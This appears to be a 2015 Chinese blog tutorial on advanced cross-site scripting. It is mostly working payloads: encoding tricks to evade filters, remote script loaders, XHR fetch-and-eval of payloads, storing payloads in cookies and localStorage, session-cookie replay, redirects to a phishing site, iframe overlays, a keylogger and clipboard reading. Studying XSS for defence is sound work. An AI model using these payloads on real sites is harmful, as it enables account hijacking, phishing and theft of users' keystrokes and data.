Xss进阶

1.XSS十分灵活多样,光是同一个payload就有下列诸多的方式

普通方式

<img src="javascript:alert(0);">

转换大小写

这里需要注意,只有和html有关的才能转化,如上面的

javascript,img,src

将其中的双引号变成单引号或者没有引号

对于这一个payload,如果是过滤空格的话,我们可以在img与src之间插入/(在IE6中没有问题)

再举一个例子

比如说是<div style="xss:expression(alert(1))"  >这种类型

有以下方式进行逃逸

加入/**/,代码混淆

body {xss:expre/**/ssion(alert(1))}

除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略的

@\0import'\0javascript:alert(1)';似乎这个\0 我仅仅在import中尝试成功了

expression:alert(1)可以变成expr\65ssion  这里的\65为e的ascll码的16进制

除了这些技巧,我们还可以通过html注释来绕过

<!--img src="--><img src=# onerror=alert(1) //">

正式开始

=======为了绕过Xss检测我们常常通过对字符串进行编码

比如我们拿<img src="javascript:alert(1)"/>

其中,在这串攻击载荷中,除了<img></>之外,其他的均可以用&#10进制进行加密

                                                                                    或是&#x16进制进行加密

 在javascript中有一个eval()函数,常常这样计算

<script>eval("alert('xss')");</script>

在javascript中可以有很多方式进行逃逸绕过,

比如我们可以用\连接十六进制字符串,然后用eval()函数执行十六进制字符串形式的脚本,

http://www.bejson.com/convert/ox2str/    这个网站似乎可以字符串直接转换为16进制,实际上就是ascll码的16进制

记得前面需要增加\x哟

比如说有以下这一段代码

<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>

结果的确能够正确弹窗
此外结合使用eval()和String.fromCharcode函数(十进制)

在firefox的hackbar上已经集成了这一功能

eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41));这样也可以成功弹窗

此外,样式表也支持分析和解释\连接的十六进制的字符串形式,浏览器能正常解释,

body { background:url(javascript:alert(1)) }

<style>
body {background:\75rl(javascript:alert(1))}
</style>

比如说常常会过滤expression,javascript等

所以我们可以这样

<style>
div{xss:expr\65ssion(alert(1))}
</style>

但是,貌似这种转换为\+16进制的方法在IE5.5上市无法执行的
除了以上这些加密方式,Microsoft提供了脚步加密机制,可以进行加密,被加密的脚本,在IE下正常运行,在其他浏览器则不识别

对于被限制了长度的XSS,可以采用以下方式

 <script>var z='document.';</script>
<script>z+='write(';</script>
<script>z+="'Hello World')";</script>
<script>eval(z);</script>

以下这种方式可以忽略掉其他

<script>var z='document.';/*
*/z+='write(';/*
*/z+="'Hello World')";/*
*/eval(z);</script>

还有以下方式进行XSS

<html>
<head>
</head>
<body>
<div id="i1" title="<"></div>
<div id="i2" title="/>"></div>
<script>
var a=document.getElementById('i1').title+'img'+' '+'src=#'+' '+'onerror=alert(1)'+' '+document.getElementById('i2').title;
document.write(a);
</script>
</body>

当div中的可输入字段没有被过滤得情况下,即使在script标签中被过滤,也还是可以通过这种方式进行Xss
通过DOM方式或者通过<script>标签远程动态加载

<html>
<head>
</head>
<body>
<script>
var a=document.createElement("script");
a.src="http://127.0.0.1/xss.js";
document.body.appendChild(a);
</script>
</body>
</html>

使用window.location.hash
XSS  Downloader

还有一种调用XSS  Shellcode的方法,即先将Shellcode写在网站的某个页面,再利用XMLHTTP向网站发送HTTP请求(POST或GET),然后执行返回的数据,

举一个简单的例子

 

<html>
<head>
</head>
<body>
<script>
function xss()
{
var xhr;
if(window.XMLHttpRequest)
{
xhr=new XMLHttpRequest()
}
else
    {
    xhr=new ActiveXObject("microsoft.XMLHTTP");    
    }
xhr.open('get','http://127.0.0.1/target.html',true);
xhr.onreadystatechange=function(){
if(xhr.readyState==4 && xhr.status==200)
    {
       var a=xhr.responseText
       a=a.replace(/<.*>/g,"");
       a=a.replace(';','');
       eval(a);
    }
}
xhr.send()
}
xss();
</script>
</body>
</html>

其中target.html的代码如下

<html>
<head>
</head>
<body>
<script>
alert(1);
</script>
</body>
</html>

这样一来,就可以执行我们的代码啦!

1.6。4备选存储技术

把xss代码存储在客户端本地域中,譬如HTTPcokie,Flash共享对象,UserData,localStorage等

拿cookie来举例把

<script>
function setShellcode(code)
{
var exp=new Date();
exp.setTime(exp.getTime()+365*24*60*60+1000);
document.cookie='shellcode='+code+';'+'expires='+exp.toGMTString();
}
setShellcode('alert(1)');
eval(document.cookie.replace(/.*=/,''));
</script>


以及通过localStorage进行存储

<script>
localStorage.a="<img src=# onerror=alert(1) />";
document.write(localStorage.a);
if(localStorage.count)
{
 localStorage.count=localStorage.count+1;
 alert("访问次数"+localStorage.count)    ;
}
else
    {
      localStorage.count=1;
    }

</script>

2 XSS利用方式剖析

再来复习一下cookie的知识

Cookie的类型

Cookie的时效(Expiration)是一个很重要的属性,根据其时效性可以把Cookie分为两种类型,持久形Cookie,和临时形Cookie

持久型Cookie以文本形存储在硬盘上,由浏览器存取

临时形Cookie也称为会话Cookie,存储在内存中,关闭当前浏览器后会立即消失

cookie的操作。

Cookie的操作十分简单,可以通过Document对象访问Cookie,若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie即可

创建一个Cookie,需要提供Cookie的名字,对应值,过期时间和相关路径等,通过setcookie(php函数)

Cookie会话攻击原理剖析

Cookie劫持

有firebug工具firecookie可实现工具盗用cookie

会话劫持

由于使用Cookie存在一定的安全缺陷,还有一种更安全的认证方式session

session机制

Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session,Session是基于访问的进程,记录了一个访问的开始到结束,当浏览器或进程关闭后,Session也就消失了

在Session机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也会有被其他人利用的可能。

Session和Cookie的最大区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户文件里面。

提升权限

 1 <html>
 2 <head>
 3 <meta http-equiv="Content-type" content="text/html;charset=UTF-8"/>
 4 </head>
 5 <body>
 6 <script>
 7 function xss()
 8 {
 9   alert("hello World");
10   var xhr=null;
11   document.cookie="JSESSIONID=CEF7FB69AD052E48EE49DACBC7BBEA40;expires="+new Date(new  Date()+10000000).toUTCString()+";path=/campus/";
12   if(window.XMLHttpRequest)
13      {
14        xhr=new XMLHttpRequest();          
15      }
16   else if(window.ActiveXObject)
17      {
18       xhr=new ActiveXObject("Microsoft.XMLHTTP");
19      }
20   xhr.open("GET",'http://target.add.com.cn',true);   
21   xhr.onreadystatechange=function()
22   {
23     if(xhr.readyState==4&&xhr.status==200)
24     {
25         alert("done");
26         alert(xhr.responseText);
27     }
28   }
29   xhr.send();
30 }
31 xss();
32 </script>
33 </body>
34 </html>
View Code

假设这个cookie是我通过xss获得的cookie,那么我可以以它的身份坐很多事情,不过要注意同源策略

 XSS钓鱼的方式

1.xss重定向钓鱼

   这种方式是把当前页面重定向到一个钓鱼网站上,假如www.bug.com为漏洞网站,那么钓鱼网站www.evil.com就会完全仿冒正常网站的内容及行为,从而进行钓鱼等欺骗活动。

2.重定向钓鱼

比如说可以将Exp写成document.location.href=“http://www.evil.com”

3.HTML注入式钓鱼直接在页面嵌入一个html表单。

4.最后一个是XSS跨框架钓鱼

<script>
document.body.innerHTML=('<div style="position:absolute;top:0px;left:0px;width:100%;height:100%;">'+'<iframe src="http://www.baidu.com" width=100% height=100%>'+'</iframe></div>');
</script>
View Code

那baidu举例,实际中我们可以切换成别的页面
5.Flash钓鱼

攻击者把精心构造的Flash文件上传到远程服务器,然后在目标网站中使用<object>或<embed>标签去引用Flash即可

同样,我们甚至可以记录用户输入的用户名与口令

  function keyUp(e) {
var currKey=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
var keyName = String.fromCharCode(currKey);
alert("按键码: " + currKey + " 字符: " + keyName);
 }
 document.onkeyup = keyUp;
</script>

注意以上代码在Firefox中必须有参数变量e否则会抱错event is not defined
需要在函数内定义e如上function (e)

6.截获剪贴板内容

有些用户在浏览网页的过程中,经常会复制和粘贴一些重要的信息,这些信息可能含有一些隐私数据

javascript中主要使用window.clipboardData对象处理剪贴板的内容,有以下三种方法

clearData(sDataFormat)删除剪贴板中指定格式的数据

getData(sDataFormat)从剪贴板获取指定格式的数据

setData(sDataFromat,sData)给剪贴板富裕指定格式的数据

以下js能够对剪贴板内容进行操作

<body>
<div id="someData">
<textarea cows="4" cols="40" name="text">
</textarea>
</div>
<input type="button" value="复制到剪贴板" onclick="setClipboard()">
<input type="button" value="查看剪贴板内容" onclick="readClipboard()">
<input type="button" value="清除" onclick="window.clipboardData.clearData('text');">
<script>
if(window.clipboardData)
{
alert("can use");
}
function readClipboard()
{
alert(window.clipboardData.getData('text'));
}
function setClipboard(){
var t=document.getElementById("someData").innerText;
alert(t);
window.clipboardData.setData('text',t);
}
</script>
</body>

获取客户端IP地址
这个实验尚未成功

其他恶意攻击剖析

网页挂马

一般在攻击中使用iframe标签或是用js如document.write等语句动态创建对话框

DOS或DDOS攻击

如在js前执行用真循环条件(while(1))或for(;;)

 利用外部内容来组合payload

如以下payload

<input id="xxx" type="text" class="xxx" value="xxxx"   name="javascript:alert(1)" autofocus onfocus="location=this.name" />

当被禁止使用尖括号时,可以使用如下payload

javasCript:s=document.createElement("sCript");s.src="//xxxxx.js";document.body.appendChild(s) autofocus onfocus=location=this.name

哪怕是圆括号被禁止时,我们可以吧(Urlencode,因为在最后输出的得放是location

 

posted @ 2015-10-30 12:58  平何去何  阅读(1197)  评论(0)    收藏  举报